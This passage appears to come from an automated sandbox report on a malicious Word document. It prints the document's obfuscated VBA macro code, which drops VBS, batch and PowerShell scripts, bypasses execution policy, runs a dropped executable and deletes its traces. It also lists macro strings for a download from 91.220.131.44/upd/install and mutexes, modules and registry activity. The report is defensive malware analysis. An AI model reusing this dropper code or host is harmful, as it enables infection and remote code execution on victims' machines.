Chr(39) + \"bs\" + Chr(39) + \";\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$b\" + \"a\" + \"tFilePath = 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\\" + BART2; Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"b\" + Chr(39) + Chr(43) + Chr(39) + \"at\" + Chr(39) + \";\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$p\" + \"sFilePath = 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\\" + PST2 + Chr(39) + Chr(43) + Chr(39) + \".\" + Chr(39) + Chr(43) + Chr(39) + \"p\" + Chr(39) + Chr(43) + Chr(39) + \"s1\" + Chr(39) + \";\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"Start-Sleep -s 15;\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"c\" & Chr(109) & \"d.e\" & Chr(120) & \"e /c 'C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\" + \"\\444.e\" & Chr(120) & \"e'; \""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$file1 = gci $\" + \"v\" + \"b\" + \"sFilePath -Force\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$file2 = gci $\" + \"b\" + \"a\" + \"t\" + \"FilePath -Force\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$file3 = gci $\" + \"p\" + \"s\" + \"F\" + \"ilePath -Force\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"If (Test-Path $batFilePath){ Remove-Item $batFilePath }\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"$psHello = 'aisdjhiqowhdiq';\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"If (Test-Path $someFilePath){ Remove-Item $someFilePath }\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumber"},{"type":"linebreak"},{"type":"text","value":"\"Remove-Item $MyINvocation.InvocationName\""},{"type":"linebreak"},{"type":"text","value":"Close #FileNumber"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Open MY_FILDIR For Output As #FileNumb"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"Dim dff\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"dff = 68\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"c\" & \"ur\" & Chr(Asc(\"r\")) & \"ent\" + Chr(Asc(\"D\")) + \"irec\" + \"tory = left(WSc\" & \"ript.ScriptFullName,\" & \"(L\" + \"en(W\" + \"S\" + \"cri\" + \"pt.Sc\" + \"riptFullName))-(len(W\" + \"Sc\" + \"ript.ScriptName)))\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"S\" & \"et o\" & \"bj\" & Chr(Asc(\"F\")) & \"SO=C\" & \"re\" & \"at\" & \"eO\" & \"b\" & \"je\" & \"ct(\" & Chr(34) & Chr(34) & Chr(34) & \"&\" & \"S\" & Chr(34) & Chr(\"&\") & Chr(34) & \"cr\" & \"ipt\" & \"ing.F\" & \"ileS\" & \"ystem\" & \"Ob\" & \"ject\" & Chr(34) & \")\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"cur\" + \"rent\" + Chr(Asc(\"F\")) + \"ile = \" & Chr(34) & \"C:\\\" & Chr(Asc(\"U\")) & \"sers\\\" + USER + \"\\AppData\\Local\\Temp\" + \"\\\" + PST2 + Chr(34) + \"&\" + Chr(34) + \".\" + Chr(34) + \"&\" + Chr(34) + \"p\" + Chr(34) + \"&\" + Chr(34) + \"s1\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"\" & Chr(83) & \"et \" & Chr(111) & \"bj\" & Chr(83) & \"he\" + Chr(Asc(\"l\")) + Chr(Asc(\"l\")) + \" = \" & Chr(Sgn(-4) + 68) + \"reate\" & Chr(79) & Chr(98) & \"ject(\" & Chr(34) & \"W\" & Chr(115) & \"cript.\" & Chr(115) & \"hell\" & Chr(34) & \")\" + \"\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"\" & Chr(111) & \"bj\" & Chr(83) & \"hell\" & Chr(46) & Chr(82) & \"un \" & Chr(34) & \"p\" & Chr(111) & \"wer\" & Chr(83) + Chr(34) + \"+\" + Chr(34) & \"hell.e\" & Chr(120) & \"e -n\" & Chr(111) & \"exit -Exe\" & \"cutionP\" & Chr(111) & \"licy\" & \" byp\" & \"ass -n\" & Chr(111) & \"pr\" & Chr(111) & \"file -file \" & Chr(34) & \" & currentFile,0,true\""},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Print #FileNumb"},{"type":"linebreak"},{"type":"text","value":"\"\""},{"type":"linebreak"},{"type":"text","value":"Close #FileNumb"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"Open ASDASDSA For Output As #FileNs"},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"@echo off\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"ping 1.1.2.2 -n\" & \" 2\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"chcp 1251\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\":csakclasjdklas\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"set Var1=\" + Chr(34) + \".\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"set Var2=\" + Chr(34) + \"v\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"set Var3=\" + Chr(34) + \"bs\" + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"set Var4=\" + Chr(34) & \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\" + \"\\\" + VBT2 + Chr(34)"},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"c\" & \"sc\" & \"ri\" & \"pt\" & Chr(46) + Chr(101) & Chr(120) & \"e \" & \"%Var4%\" + \"%Var1%%Var2%%Var3%\""},{"type":"linebreak"},{"type":"text","value":"Print #FileNs"},{"type":"linebreak"},{"type":"text","value":"\"exit\""},{"type":"linebreak"},{"type":"text","value":"Close #FileNs"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"SetAttr MY_FILENDIR"},{"type":"linebreak"},{"type":"text","value":"vbNormal"},{"type":"linebreak"},{"type":"text","value":"SetAttr ASDASDSA"},{"type":"linebreak"},{"type":"text","value":"vbNormal"},{"type":"linebreak"},{"type":"text","value":"SetAttr MY_FILDIR"},{"type":"linebreak"},{"type":"text","value":"vbNormal"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"WaitFor (1)"},{"type":"linebreak"},{"type":"text","value":"SJAKLD = ASDASDSA"},{"type":"linebreak"},{"type":"text","value":"retVal = Shell(SJAKLD, 0)"},{"type":"linebreak"},{"type":"text","value":"End If"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"findTest"},{"type":"linebreak"},{"type":"text","value":"secondTest"},{"type":"linebreak"},{"type":"text","value":"For Each myStoryRange In ActiveDocument.StoryRanges"},{"type":"linebreak"},{"type":"text","value":"With myStoryRange.Find"},{"type":"linebreak"},{"type":"text","value":".Text = \"<\" & \"sel\" & \"ect>\""},{"type":"linebreak"},{"type":"text","value":".Replacement.Text = \" \""},{"type":"linebreak"},{"type":"text","value":".Wrap = wdFindContinue"},{"type":"linebreak"},{"type":"text","value":".Execute Replace:=wdReplaceAll"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"Next myStoryRange"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"For Each myStoryRange In ActiveDocument.StoryRanges"},{"type":"linebreak"},{"type":"text","value":"With myStoryRange.Find"},{"type":"linebreak"},{"type":"text","value":".Text = \"</s\" & \"ele\" & \"ct>\""},{"type":"linebreak"},{"type":"text","value":".Replacement.Text = \" \""},{"type":"linebreak"},{"type":"text","value":".Wrap = wdFindContinue"},{"type":"linebreak"},{"type":"text","value":".Execute Replace:=wdReplaceAll"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"Next myStoryRange"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"text","value":"For Each myStoryRange In ActiveDocument.StoryRanges"},{"type":"linebreak"},{"type":"text","value":"With myStoryRange.Find"},{"type":"linebreak"},{"type":"text","value":".Text = \"<\" & \"in\" & \"box>\""},{"type":"linebreak"},{"type":"text","value":".Replacement.Text = \" \""},{"type":"linebreak"},{"type":"text","value":".Wrap = wdFindContinue"},{"type":"linebreak"},{"type":"text","value":".Execute Replace:=wdReplaceAll"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"Next myStoryRange"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"For Each myStoryRange In ActiveDocument.StoryRanges"},{"type":"linebreak"},{"type":"text","value":"With myStoryRange.Find"},{"type":"linebreak"},{"type":"text","value":".Text = \"</\" & \"in\" & \"box>\""},{"type":"linebreak"},{"type":"text","value":".Replacement.Text = \" \""},{"type":"linebreak"},{"type":"text","value":".Wrap = wdFindContinue"},{"type":"linebreak"},{"type":"text","value":".Execute Replace:=wdReplaceAll"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"Next myStoryRange"},{"type":"linebreak"},{"type":"text","value":""},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"text","value":"Sub WaitFor(NumOfSeconds As Long)"},{"type":"linebreak"},{"type":"text","value":"Dim SngSec As Long"},{"type":"linebreak"},{"type":"text","value":"SngSec = Timer + NumOfSeconds"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Do While Timer < SngSec"},{"type":"linebreak"},{"type":"text","value":"DoEvents"},{"type":"linebreak"},{"type":"text","value":"Loop"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Sub AutoOpen()"},{"type":"linebreak"},{"type":"text","value":"Auto_Open"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"text","value":"Sub Workbook_Open()"},{"type":"linebreak"},{"type":"text","value":"Auto_Open"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"text","value":"Sub findTest()"},{"type":"linebreak"},{"type":"text","value":"Dim firstTerm As String"},{"type":"linebreak"},{"type":"text","value":"Dim secondTerm As String"},{"type":"linebreak"},{"type":"text","value":"Dim rrtt As Range"},{"type":"linebreak"},{"type":"text","value":"Dim selRange As Range"},{"type":"linebreak"},{"type":"text","value":"Dim selectedText As String"},{"type":"linebreak"},{"type":"text","value":"UYAS = \"\""},{"type":"linebreak"},{"type":"text","value":"Set rrtt = ActiveDocument.Range"},{"type":"linebreak"},{"type":"text","value":"firstTerm = \"\" + \"<\" + \"s\" + \"e\" & \"le\" + \"ct>\" + UYAS + \"\""},{"type":"linebreak"},{"type":"text","value":"secondTerm = \"<\" + \"/\" + \"se\" + \"l\" & \"ec\" + \"t>\""},{"type":"linebreak"},{"type":"text","value":"ASKASAIEJ = \"ask as8d j dnkjh12kh1 sad\""},{"type":"linebreak"},{"type":"text","value":"With rrtt.Find"},{"type":"linebreak"},{"type":"text","value":".Text = firstTerm"},{"type":"linebreak"},{"type":"text","value":".MatchWholeWord = True"},{"type":"linebreak"},{"type":"text","value":".Execute"},{"type":"linebreak"},{"type":"text","value":"ASKUKKIEJ = \"aasdlkasjdask as8d j dnkjh12kh1 sad\""},{"type":"linebreak"},{"type":"text","value":"rrtt.Collapse direction:=wdCollapseEnd"},{"type":"linebreak"},{"type":"text","value":"Set selRange = ActiveDocument.Range"},{"type":"linebreak"},{"type":"text","value":"selRange.Start = rrtt.End"},{"type":"linebreak"},{"type":"text","value":".Text = secondTerm"},{"type":"linebreak"},{"type":"text","value":".MatchWholeWord = True"},{"type":"linebreak"},{"type":"text","value":".Execute"},{"type":"linebreak"},{"type":"text","value":"ASKSASADW = \"asjldklas\""},{"type":"linebreak"},{"type":"text","value":"rrtt.Collapse direction:=wdCollapseStart"},{"type":"linebreak"},{"type":"text","value":"selRange.End = rrtt.Start"},{"type":"linebreak"},{"type":"text","value":"selectedText = selRange.Delete"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"End Sub"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Sub secondTest()"},{"type":"linebreak"},{"type":"text","value":"Dim firstTerm As String"},{"type":"linebreak"},{"type":"text","value":"Dim secondTerm As String"},{"type":"linebreak"},{"type":"text","value":"Dim myRanget As Range"},{"type":"linebreak"},{"type":"text","value":"Dim yytt As Range"},{"type":"linebreak"},{"type":"text","value":"Dim selRanget As Range"},{"type":"linebreak"},{"type":"text","value":"Dim selectedTextt As String"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Set yytt = ActiveDocument.Range"},{"type":"linebreak"},{"type":"text","value":"SKHDAJKHASJ = \"aslkdjk sadksaj ksaljd klsajd ksajd KSJDKASL JD\""},{"type":"linebreak"},{"type":"text","value":"firstTerm = \"<\" + \"in\" & \"bo\" + \"x>\""},{"type":"linebreak"},{"type":"text","value":"secondTerm = \"</\" + \"in\" & \"bo\" + \"x>\""},{"type":"linebreak"},{"type":"text","value":"With yytt.Find"},{"type":"linebreak"},{"type":"text","value":".Text = firstTerm"},{"type":"linebreak"},{"type":"text","value":".MatchWholeWord = True"},{"type":"linebreak"},{"type":"text","value":".Execute"},{"type":"linebreak"},{"type":"text","value":"ASKIEJ = \"ask as8d j dnkjh12kh1 sad\""},{"type":"linebreak"},{"type":"text","value":"yytt.Collapse direction:=wdCollapseEnd"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"Set selRanget = ActiveDocument.Range"},{"type":"linebreak"},{"type":"text","value":"selRanget.Start = yytt.End"},{"type":"linebreak"},{"type":"text","value":".Text = secondTerm"},{"type":"linebreak"},{"type":"text","value":".MatchWholeWord = True"},{"type":"linebreak"},{"type":"text","value":".Execute"},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"yytt.Collapse direction:=wdCollapseStart"},{"type":"linebreak"},{"type":"text","value":"selRanget.End = yytt.Start"},{"type":"linebreak"},{"type":"text","value":"selectedTextt = selRanget"},{"type":"linebreak"},{"type":"text","value":"selRanget.Font.Color = wdColorBlack"},{"type":"linebreak"},{"type":"text","value":"End With"},{"type":"linebreak"},{"type":"text","value":"End Sub\", File \"UserForm1.frm\" (Streampath: \"Macros/VBA/UserForm1\") has code: \"\""}],"origin":"Static Parser","attck_id":"T1204","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1204","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-50","type":2,"relevance":10,"name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http\"\n Normalized macro string: \"=MSXML2.XMLHTTP\"\n Normalized macro string: \"http.open\"\n Normalized macro string: \"objXMLHTTP.open\"\n Normalized macro string: \"http.send()\"\n Normalized macro string: \"objXMLHTTP.send()\"\n Normalized macro string: \"http.status\"\n Normalized macro string: \"objXMLHTTP.Status\"\n Normalized macro string: \"http.responsebody\"\n Normalized macro string: \"objXMLHTTP.ResponseBody\"\n Normalized macro string: \"objXMLHTTP\"\n Normalized macro string: \"1.3.1.2\"\n Normalized macro string: \"2.2.1.1\"\n Normalized macro string: \"91.220.131.44/upd/install.\"\n Normalized macro string: \"91.220.131.44/upd/install\"\n Normalized macro string: \"1.1.2.2\"","description_v2":["Normalized macro string: \"http\"","Normalized macro string: \"=MSXML2.XMLHTTP\"","Normalized macro string: \"http.open\"","Normalized macro string: \"objXMLHTTP.open\"","Normalized macro string: \"http.send()\"","Normalized macro string: \"objXMLHTTP.send()\"","Normalized macro string: \"http.status\"","Normalized macro string: \"objXMLHTTP.Status\"","Normalized macro string: \"http.responsebody\"","Normalized macro string: \"objXMLHTTP.ResponseBody\"","Normalized macro string: \"objXMLHTTP\"","Normalized macro string: \"1.3.1.2\"","Normalized macro string: \"2.2.1.1\"","Normalized macro string: \"91.220.131.44/upd/install.\"","Normalized macro string: \"91.220.131.44/upd/install\"","Normalized macro string: \"1.1.2.2\""],"description_v3":[{"type":"text","value":"Normalized macro string: \"http\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"=MSXML2.XMLHTTP\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"http.open\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"objXMLHTTP.open\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"http.send()\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"objXMLHTTP.send()\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"http.status\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"objXMLHTTP.Status\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"http.responsebody\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"objXMLHTTP.ResponseBody\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"objXMLHTTP\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"1.3.1.2\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"2.2.1.1\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"91.220.131.44/upd/install.\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"91.220.131.44/upd/install\""},{"type":"linebreak"},{"type":"text","value":"Normalized macro string: \"1.1.2.2\""}],"origin":"File/Memory","attck_id":"T1137","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1137","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-63631\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\x64_10MU_ACB10_S-1-5-5-0-63631\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"","description_v2":["\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-63631\"","\"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"","\"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"","\"Local\\ZonesLockedCacheCounterMutex\"","\"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\"","\"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"","\"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"","\"Local\\ZonesCacheCounterMutex\"","\"Local\\x64_10MU_ACB10_S-1-5-5-0-63631\"","\"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\""],"description_v3":[{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-63631\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63631\""},{"type":"linebreak"},{"type":"text","value":"\"Global\\552FFA80-3393-423d-8671-7BA046BB5906\""},{"type":"linebreak"},{"type":"text","value":"\"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\x64_10MU_ACB10_S-1-5-5-0-63631\""},{"type":"linebreak"},{"type":"text","value":"\"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\""}],"origin":"Created Mutant","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"binary-16","type":8,"relevance":10,"name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_baddoc.doc\" as clean (type is \"data\")","description_v2":["Antivirus vendors marked dropped file \"~_baddoc.doc\" as clean (type is \"data\")"],"description_v3":[{"type":"text","value":"Antivirus vendors marked dropped file \"~_baddoc.doc\" as clean (type is \"data\")"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-2","type":10,"relevance":0,"name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F2ED0000","description_v2":["\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F2ED0000"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F2ED0000"}],"origin":"Loaded Module","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1179","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-3","type":10,"relevance":0,"name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E2E20000","description_v2":["\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E2E20000"],"description_v3":[{"type":"text","value":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E2E20000"}],"origin":"Loaded Module","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-77","type":6,"relevance":10,"name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"powershell.exe\" called \"OpenSCManager\" requesting access rights \"0X0\"\n \"powershell.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","description_v2":["\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","\"powershell.exe\" called \"OpenSCManager\" requesting access rights \"0X0\"","\"powershell.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"},{"type":"linebreak"},{"type":"text","value":"\"powershell.exe\" called \"OpenSCManager\" requesting access rights \"0X0\""},{"type":"linebreak"},{"type":"text","value":"\"powershell.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"}],"origin":"API Call","attck_id":"T1035","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1035","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-72","type":3,"relevance":3,"name":"Overview of unique CLSIDs touched in registry","description":"$27","description_v2":["\"WINWORD.EXE\" touched \"Computer\" (Path: \"HKCU\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")","\"WINWORD.EXE\" touched \"Memory Mapped Cache Mgr\" (Path: \"HKCU\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\")","\"WINWORD.EXE\" touched \"SAX XML Reader 6.0\" (Path: \"HKCU\\CLSID\\{88D96A0C-F192-11D4-A65F-0040963251E5}\")","\"WINWORD.EXE\" touched \"MXXMLWriter 6.0\" (Path: \"HKCU\\CLSID\\{88D96A0F-F192-11D4-A65F-0040963251E5}\\TREATAS\")","\"WINWORD.EXE\" touched \"OneNote Word Add-In Take Notes Content Service Class\" (Path: \"HKCU\\CLSID\\{C580A1B2-5915-4DC3-BE93-8A51F4CAB320}\\INPROCSERVER32\")","\"WINWORD.EXE\" touched \"PersistentZoneIdentifier\" (Path: \"HKCU\\CLSID\\{0968E258-16C7-4DBA-AA86-462DD61E31A3}\\TREATAS\")","\"WINWORD.EXE\" touched \"Security Manager\" (Path: \"HKCU\\CLSID\\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word-Vorlage mit Makros\" (Path: \"HKCU\\CLSID\\{8A624388-AA27-43E0-89F8-2A12BFF7BCCD}\\IMPLEMENTED CATEGORIES\\{00021490-0000-0000-C000-000000000046}\")","\"WINWORD.EXE\" touched \"Microsoft Word-Dokument\" (Path: \"HKCU\\CLSID\\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word 97-2003-Dokument\" (Path: \"HKCU\\CLSID\\{00020906-0000-0000-C000-000000000046}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word-Dokument mit Makros\" (Path: \"HKCU\\CLSID\\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word-Vorlage\" (Path: \"HKCU\\CLSID\\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word-Vorschau\" (Path: 